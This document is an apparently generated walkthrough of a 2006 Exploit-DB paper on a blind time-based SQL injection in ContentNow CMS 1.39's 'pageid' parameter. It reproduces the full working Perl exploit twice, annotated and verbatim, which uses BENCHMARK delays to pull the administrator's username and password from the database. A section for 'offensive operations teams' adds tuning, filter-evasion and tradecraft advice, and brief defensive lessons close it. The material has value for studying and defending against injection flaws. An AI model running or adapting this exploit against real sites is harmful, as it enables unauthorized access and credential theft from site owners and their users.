ContentNow 1.39 'pageid' SQL Injection - Blind SQLi for Credentials

ContentNow 1.39 'pageid' SQL Injection - Blind SQLi for Credentials
What this paper is
This paper details a Blind SQL Injection vulnerability in ContentNow CMS version 1.39. The vulnerability lies in how the pageid parameter is handled, allowing an attacker to inject SQL queries. The exploit uses a technique called "Blind SQL Injection" to extract information, specifically the administrator's username and password, by observing the server's response time. It's designed to work even if "magic quotes" are enabled on the server.
Simple technical breakdown
The core of the vulnerability is that the pageid input from a user is directly used in a SQL query without proper sanitization. The exploit leverages this by sending specially crafted pageid values that contain SQL commands.
The exploit uses a Blind SQL Injection technique. This means it doesn't directly see the database output. Instead, it infers information by observing the server's behavior. In this case, it uses the BENCHMARK() SQL function.
BENCHMARK(count, expression): This function repeatedly executes anexpressioncounttimes. If theexpressiontakes a significant amount of time to execute, theBENCHMARK()function will cause a noticeable delay in the server's response.- The exploit tries to guess characters of the username and password one by one.
- For each character, it constructs a SQL query that checks if the character at a specific position in the database field matches the character being tested.
- If the character matches, the
BENCHMARK()function is executed, causing a delay. - If there's no match,
BENCHMARK()is not executed, and the response is fast. - By measuring the response time, the exploit can determine if the guessed character is correct.
The exploit specifically targets the cn_sessions table, assuming it contains the administrator credentials. It attempts to extract the user and password fields from this table.
Complete code and payload walkthrough
The provided Perl script automates the Blind SQL Injection process. Let's break down its components.
#!/usr/bin/perl -w
use IO::Socket;
use strict;
# ... (Comments and metadata) ...
if (@ARGV < 2) { &usage; }
my $delay = "1500000"; # Default delay for BENCHMARK function
my $host = $ARGV[0]; # Target host (e.g., 127.0.0.1)
my $dir = $ARGV[1]; # Target directory (e.g., /contentnow/)
if ($ARGV[2] ) { $delay = $ARGV[2]; } # Allow custom delay from command line
print "\nTarget url : ".$host.$dir."\n\n";
$host =~ s/(http:\/\/)//; # Remove http:// from host for socket connection
my @array = ("user","password"); # Fields to extract
print "--== Trying to perform sql injection ==--\n\n";
sleep(1);
&sploit(); # Start the exploitation process
sub sploit() {
my $x = ""; # Loop counter for @array (0 for user, 1 for password)
my $i = ""; # ASCII value of the character being tested
my $string = ""; # Accumulates the found characters for the current field
my $res = "1"; # Flag to indicate if a character was found in the current position
# Outer loop: Iterate through the fields to extract ("user", "password")
for ( $x=0; $x<=$#array; $x++ ) {
my $j = 1; # Current character position (1-based index) within the database field
$res = 1; # Reset flag for each new field
while ($res) { # Loop until no more characters are found for the current field
# Inner loop: Iterate through possible ASCII character values
for ($i=32;$i<=127;$i++) {
$res = 0; # Assume no character found in this iteration
# Character filtering for the 'password' field (when $x eq 1)
if ( $x eq 1 ) {
next if ( $i < 48 ); # Skip characters before '0'
next if ( ( $i > 57 ) and ( $i < 97 ) ); # Skip characters between '9' and 'a' (e.g., symbols)
next if ( $i > 102 ); # Skip characters after 'f' (assuming hex characters for password)
}
my $val = "index.php?"; # Base URL parameter string
# Construct the SQL injection payload
# This is the core of the Blind SQL Injection
$val .= "pageid=(select(if((ascii(substring($array[$x],$j,1))=$i),benchmark(".$delay.",sha1(13)),0))/**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1)";
# Explanation of the payload:
# - select(...): Standard SQL select statement.
# - if(condition, true_part, false_part): Conditional logic.
# - condition: ascii(substring($array[$x],$j,1))=$i
# - $array[$x]: The current field being queried (e.g., 'user' or 'password').
# - $j: The current character position being tested.
# - ascii(...): Gets the ASCII value of the character.
# - substring(string, start, length): Extracts a single character.
# - =$i: Compares the extracted character's ASCII value with the current test character's ASCII value.
# - true_part: benchmark(".$delay.",sha1(13))
# - If the condition is TRUE (character matches), execute BENCHMARK.
# - $delay: A large number of microseconds to cause a noticeable delay.
# - sha1(13): A dummy expression to be benchmarked. The actual expression doesn't matter as much as the delay.
# - false_part: 0
# - If the condition is FALSE (character doesn't match), return 0.
# - /**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1:
# - This part is used to make the query syntactically valid and to ensure it returns a result (or at least doesn't error out immediately)
# - /**/ is used as a comment to bypass potential filters and to separate keywords.
# - cn_sessions: The assumed table containing session data, which might hold credentials.
# - where id=1 limit 1: Selects a single row to make the query deterministic.
my $data=$dir.$val; # Full request path with parameters
my $start = time(); # Record start time
# Establish TCP connection to the target host on port 80
my $req = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Error - connection failed\n\n";
# Construct and send the HTTP GET request
print $req "GET $data HTTP/1.1\r\n";
print $req "Host: $host\r\n";
print $req "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (GNU Linux)\r\n";
print $req "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
print $req "Accept-Language: en-us;q=0.7,en;q=0.3\r\n";
print $req "Accept-Encoding: gzip,deflate\r\n";
print $req "Keep-Alive: 300\r\n";
print $req "Connection: Keep-Alive\r\n";
print $req "Cache-Control: no-cache\r\n";
print $req "Connection: close\r\n\r\n"; # Close connection after sending
# Read the response from the server
while (my $result = <$req>) {
# Check for common HTTP error responses
if ( $result =~ /404 Not Found/ ) {
printf "\n\nFile not found.\n\n";
print "\n\n$result\n\n";
exit;
}
if ( $result =~ /400 Bad Request/ ) {
printf "\n\nBad request.\n\n";
print "\n\n$result\n\n";
exit;
}
}
my $end = time(); # Record end time
my $dft = $end - $start; # Calculate duration
# Check if the response time indicates a delay (i.e., BENCHMARK was executed)
if ( $dft > 4 ) { # Threshold of 4 seconds to detect the delay
$string .= chr($i); # Append the found character to the string
print "\n\tFound : ".chr($i)."\n\n"; # Print the found character
$res = 1; # Set flag to continue searching for the next character in this position
last; # Break the inner loop (character testing) and move to the next position ($j++)
}
print "\tTrying : ".chr($i)."\n"; # Print the character being tested
}
$j++; # Move to the next character position in the database field
if ( !$res ) { # If no character was found for the current position ($j) after trying all ASCII values
$array[$x] = $string; # Store the accumulated string for the current field
$string = ""; # Reset the string for the next field
}
}
}
# Print the extracted credentials
print "\n----------------------\n";
print "Admin username : $array[0]\n";
print "Admin password : $array[1]\n\n";
}
# Usage function to display help message
sub usage() {
print "\n ContentNow CMS 1.39 'pageid' SQL Injection Exploit (Admin credentials disclosure)\n";
print " <revenge\@0xcafebabe.it>\n";
print " http://www.0xcafebabe.it\n\n";
print "Usage: $0 <target> <directory> [benchmark_delay]\n";
print "Example: $0 127.0.0.1 /contentnow/ 2000000\n\n";
exit();
}
# milw0rm.com [2006-11-21]Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/perl -wanduse IO::Socket; use strict;: Standard Perl interpreter and module loading for network operations and strict coding.if (@ARGV < 2) { &usage; }: Checks if enough command-line arguments (target host and directory) are provided. If not, it calls theusagesubroutine.my $delay = "1500000";: Sets a default delay value for theBENCHMARKfunction. This value is in microseconds.my $host = $ARGV[0]; my $dir = $ARGV[1];: Assigns the first two command-line arguments to$hostand$dir.if ($ARGV[2] ) { $delay = $ARGV[2]; }: Allows the user to override the default delay with a third command-line argument.$host =~ s/(http:\/\/)//;: Removes thehttp://prefix from the host string, as theIO::Socket::INETmodule expects just the hostname or IP address.my @array = ("user","password");: Defines an array containing the names of the database fields to be extracted.&sploit();: Calls the main exploitation subroutine.sub sploit() { ... }: The main subroutine that orchestrates the Blind SQL Injection.for ( $x=0; $x<=$#array; $x++ ): This loop iterates through the fields in@array(first 'user', then 'password').$xis the index.my $j = 1; $res = 1; while ($res) { ... }: Thiswhileloop continues as long as a character is found for the current position ($resis 1).$jrepresents the character position within the database field (1st character, 2nd character, etc.).for ($i=32;$i<=127;$i++) { ... }: This loop iterates through all possible ASCII character codes from 32 (space) to 127 (DEL). This is where the brute-force character guessing happens.if ( $x eq 1 ) { ... }: This block applies character range filtering specifically when trying to extract the 'password' ($xis 1). It skips characters that are unlikely to be part of a password (e.g., non-alphanumeric characters, or characters outside a typical hex range if that's assumed).my $val = "index.php?";: Initializes the query string.$val .= "pageid=(select(if((ascii(substring($array[$x],$j,1))=$i),benchmark(".$delay.",sha1(13)),0))/**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1)";: This is the crucial payload construction. It builds a SQL query that:- Extracts one character (
substring($array[$x],$j,1)) from the current field ($array[$x]). - Gets its ASCII value (
ascii(...)). - Compares it to the current test ASCII value (
$i). - If they match, it executes
benchmark($delay, sha1(13)), causing a delay. - If they don't match, it returns
0. /**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1ensures the query is valid and targets a specific row in thecn_sessionstable.
- Extracts one character (
my $data=$dir.$val;: Combines the directory and the constructed query string.my $start = time();: Records the time before sending the request.my $req = IO::Socket::INET->new(...): Creates a TCP socket connection to the target.print $req "GET $data HTTP/1.1\r\n"; ... print $req "Connection: close\r\n\r\n";: Sends the HTTP GET request with necessary headers.while (my $result = <$req>) { ... }: Reads the server's response. It checks for404 Not Foundor400 Bad Requesterrors.my $end = time(); my $dft = $end - $start;: Records the time after receiving the response and calculates the duration.if ( $dft > 4 ) { ... }: If the response time is greater than 4 seconds (the threshold for detecting theBENCHMARKdelay), it means the character matched.$string .= chr($i);: Appends the found character to$string.print "\n\tFound : ".chr($i)."\n\n";: Informs the user about the found character.$res = 1; last;: Sets$resto 1 to continue to the next character position ($j++) and breaks the inner character-testing loop.
print "\tTrying : ".chr($i)."\n";: Shows which character is currently being tested.$j++;: Increments the character position counter.if ( !$res ) { ... }: If the inner loop completes without finding a character for the current position ($resis 0), it means all characters for this position have been tried.$array[$x] = $string;: Stores the accumulated string of found characters for the current field.$string = "";: Resets$stringfor the next field.
print "\n----------------------\n"; print "Admin username : $array[0]\n"; print "Admin password : $array[1]\n\n";: Prints the final extracted username and password.sub usage() { ... }: Displays the help message and exits if the script is not run with the correct arguments.
Shellcode/Payload Segments:
The "payload" in this context is not traditional shellcode but rather the crafted SQL query injected into the pageid parameter.
- SQL Injection Payload:
(select(if((ascii(substring($array[$x],$j,1))=$i),benchmark(".$delay.",sha1(13)),0))/**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1)- Stage 1: Character Guessing and Conditional Execution:
ascii(substring($array[$x],$j,1))=$i: This is the core condition. It checks if the ASCII value of the$j-th character of the$array[$x]field matches the current test character's ASCII value ($i).if(condition, true_part, false_part): This SQL construct executestrue_partif the condition is true, andfalse_partif it's false.
- Stage 2: Delay for Detection (if match):
benchmark(".$delay.",sha1(13)): If the character matches, this function is executed. It runssha1(13)repeatedly for$delaymicroseconds. This is designed to cause a noticeable delay in the HTTP response.
- Stage 3: Null Operation (if no match):
0: If the character does not match,0is returned, and no delay occurs.
- Stage 4: Query Context and Stability:
/**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1: This part ensures the injected query is syntactically valid and targets a specific, likely existing, row in thecn_sessionstable. The/**/are used as comments to bypass potential SQL injection filters and to separate keywords.
- Stage 1: Character Guessing and Conditional Execution:
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server (typically port 80 or 443). No prior authentication is required for this specific vulnerability.
- Lab Preconditions:
- A vulnerable ContentNow CMS v1.39 instance must be deployed.
- The web server must be accessible from the operator's network.
- The
cn_sessionstable must exist and contain administrator credentials. The exploit assumesid=1in this table is relevant. - The
BENCHMARKSQL function must be supported by the database backend (common in MySQL). - The
ascii,substring,sha1,if,benchmark, andlimitSQL functions must be available and not blocked by WAFs or database configurations.
- Tooling Assumptions:
- Perl interpreter installed on the operator's machine.
- Basic network connectivity.
- The exploit script itself.
- Execution Pitfalls:
- Network Latency: High network latency can interfere with the timing-based detection of the
BENCHMARKfunction. Thedelayparameter and thedft > 4threshold might need adjustment. - Server Load: If the target server is under heavy load, legitimate delays might be misinterpreted as successful character matches, or successful matches might be missed due to overall slow response times.
- WAF/IDS Evasion: The use of
/**/as comments is a basic evasion technique. More sophisticated WAFs might still detect the pattern. TheBENCHMARKfunction itself can be a signature. - Database Backend Differences: While targeting MySQL, variations in SQL syntax or function availability on other database backends could cause failure.
- Table/Column Names: If the
cn_sessionstable oruser/passwordcolumns are renamed or absent, the exploit will fail. - Character Set: The exploit assumes standard ASCII characters. If passwords contain unusual characters outside the tested range (32-127, with filtering), they might not be discovered. The password filtering (
$i < 48, etc.) might be too restrictive for some password policies. magic_quotes: The advisory states it works regardless ofmagic_quotes. This is because the exploit usesBENCHMARKand doesn't rely on direct output manipulation thatmagic_quoteswould interfere with.id=1Assumption: The exploit hardcodeswhere id=1 limit 1. If the relevant session data is not associated withid=1, the exploit will not find credentials.- Response Time Threshold: The
dft > 4threshold is arbitrary. It needs to be tuned based on the server's typical response time and network conditions. A value too low will result in false positives; too high will miss valid matches.
- Network Latency: High network latency can interfere with the timing-based detection of the
- Tradecraft Considerations:
- Reconnaissance: Confirm the ContentNow version and identify the
index.phpendpoint. - Timing: Run the exploit during periods of lower server activity if possible to minimize noise and improve detection accuracy.
- Logging: Be mindful of server logs. The GET requests with the injected
pageidparameter will likely be logged. - Stealth: The
BENCHMARKfunction is inherently noisy and time-consuming. This is not a stealthy exploit. Consider it for situations where noise is acceptable or expected. - Payload Customization: If the default delay or character set is insufficient, the script can be modified.
- Reconnaissance: Confirm the ContentNow version and identify the
Where this was used and when
- Context: This exploit targets web applications, specifically ContentNow CMS. It was designed to extract administrator credentials from a web server.
- Approximate Years/Dates: The advisory was published on November 21, 2006. Therefore, this vulnerability and exploit were relevant around 2006-2007. It's unlikely to be effective against modern, patched systems.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All parameters, especially those used in database queries, must be rigorously validated and sanitized to prevent injection attacks. Use parameterized queries or prepared statements.
- Principle of Least Privilege: Web applications should run with the minimum necessary database privileges. Avoid granting broad permissions to the web application's database user.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common injection patterns, including SQL injection attempts. WAFs can help identify signatures like
BENCHMARK,UNION SELECT,/**/, etc. - Regular Patching and Updates: Keep all web application software, including CMS platforms, frameworks, and underlying libraries, up-to-date with the latest security patches. ContentNow CMS 1.39 is ancient and should not be in use.
- Error Handling: Configure applications to display generic error messages to users rather than detailed technical errors that could reveal information about the database structure or query logic.
- Monitoring and Logging: Implement robust logging for web server and database activity. Monitor logs for suspicious patterns, such as unusually long response times or malformed queries.
- Secure Coding Practices: Train developers on secure coding practices, including common vulnerabilities like SQL injection, and the importance of secure input handling.
- Database Security: Secure the database itself. Limit network access to the database server, use strong authentication, and encrypt sensitive data.
ASCII visual (if applicable)
This exploit's flow can be visualized as a series of requests and responses where timing is key.
+-----------------+ +-----------------+ +-------------------+
| Attacker (Perl) |----->| Target Web App |----->| Database Server |
| | | (ContentNow 1.39)| | (MySQL) |
+-----------------+ +-----------------+ +-------------------+
| | |
| 1. Send crafted | |
| GET request | |
| with pageid= | |
| (SELECT IF( | |
| ascii(substr( | |
| field,pos,1))= | |
| char_to_test), | |
| BENCHMARK(...), | |
| 0) ... | |
| | |
| | 2. Execute SQL query |
| | (potentially slow) |
| | |
| +--------------------------+
| |
| 3. Receive Response |
| (Fast if no match,|
| Slow if match) |
| |
+----------------------+
|
| 4. Measure response time
| 5. Infer character based on time
| 6. Repeat for next char/fieldSource references
- Paper ID: 2822
- Paper Title: ContentNow 1.39 - 'pageid' SQL Injection
- Author: Revenge
- Published: 2006-11-21
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/2822
- Raw URL: https://www.exploit-db.com/raw/2822
- Advisory URL (mentioned in script): http://www.0xcafebabe.it/advisory/contentnow_139_sqlinjection.txt
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
use IO::Socket;
use strict;
# ContentNow "pageid" Sql Injection
# Version : 1.39
# Url : http://www.contentnow.mf4k.de
# Author : Alfredo 'revenge' Pesoli
# Advisory : http://www.0xcafebabe.it/advisory/contentnow_139_sqlinjection.txt
#
# Description:
#
# The "pageid" parameter isn't properly sanitised before being returned in sql query
# and can be used to inject craft SQL queries, we can use Blind SQL Injection attack
# to disclose admin credential.
#
# Works regardless of magic quotes
#
# http://www.0xcafebabe.it
# <revenge@0xcafebabe.it>
if (@ARGV < 2) { &usage; }
my $delay = "1500000";
my $host = $ARGV[0];
my $dir = $ARGV[1];
if ($ARGV[2] ) { $delay = $ARGV[2]; }
print "\nTarget url : ".$host.$dir."\n\n";
$host =~ s/(http:\/\/)//;
my @array = ("user","password");
print "--== Trying to perform sql injection ==--\n\n";
sleep(1);
&sploit();
sub sploit() {
my $x = "";
my $i = "";
my $string = "";
my $res = "1";
for ( $x=0; $x<=$#array; $x++ ) {
my $j = 1;
$res = 1;
while ($res) {
for ($i=32;$i<=127;$i++) {
$res = 0;
if ( $x eq 1 ) {
next if ( $i < 48 );
next if ( ( $i > 57 ) and ( $i < 97 ) );
next if ( $i > 102 );
}
my $val = "index.php?";
$val .= "pageid=(select(if((ascii(substring($array[$x],$j,1))=$i),benchmark(".$delay.",sha1(13)),0))/**/from/**/cn_sessions/**/where/**/id=1/**/limit/**/1)";
my $data=$dir.$val;
my $start = time();
my $req = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Error - connection failed\n\n";
print $req "GET $data HTTP/1.1\r\n";
print $req "Host: $host\r\n";
print $req "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (GNU Linux)\r\n";
print $req "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
print $req "Accept-Language: en-us;q=0.7,en;q=0.3\r\n";
print $req "Accept-Encoding: gzip,deflate\r\n";
print $req "Keep-Alive: 300\r\n";
print $req "Connection: Keep-Alive\r\n";
print $req "Cache-Control: no-cache\r\n";
print $req "Connection: close\r\n\r\n";
while (my $result = <$req>) {
if ( $result =~ /404 Not Found/ ) {
printf "\n\nFile not found.\n\n";
print "\n\n$result\n\n";
exit;
}
if ( $result =~ /400 Bad Request/ ) {
printf "\n\nBad request.\n\n";
print "\n\n$result\n\n";
exit;
}
}
my $end = time();
my $dft = $end - $start;
if ( $dft > 4 ) {
$string .= chr($i);
print "\n\tFound : ".chr($i)."\n\n";
$res = 1;
last;
}
print "\tTrying : ".chr($i)."\n";
}
$j++;
if ( !$res ) {
$array[$x] = $string;
$string = "";
}
}
}
print "\n----------------------\n";
print "Admin username : $array[0]\n";
print "Admin password : $array[1]\n\n";
}
sub usage() {
print "\n ContentNow CMS 1.39 'pageid' SQL Injection Exploit (Admin credentials disclosure)\n";
print " <revenge\@0xcafebabe.it>\n";
print " http://www.0xcafebabe.it\n\n";
print "Usage: $0 <target> <directory> [benchmark_delay]\n";
print "Example: $0 127.0.0.1 /contentnow/ 2000000\n\n";
exit();
}
# milw0rm.com [2006-11-21]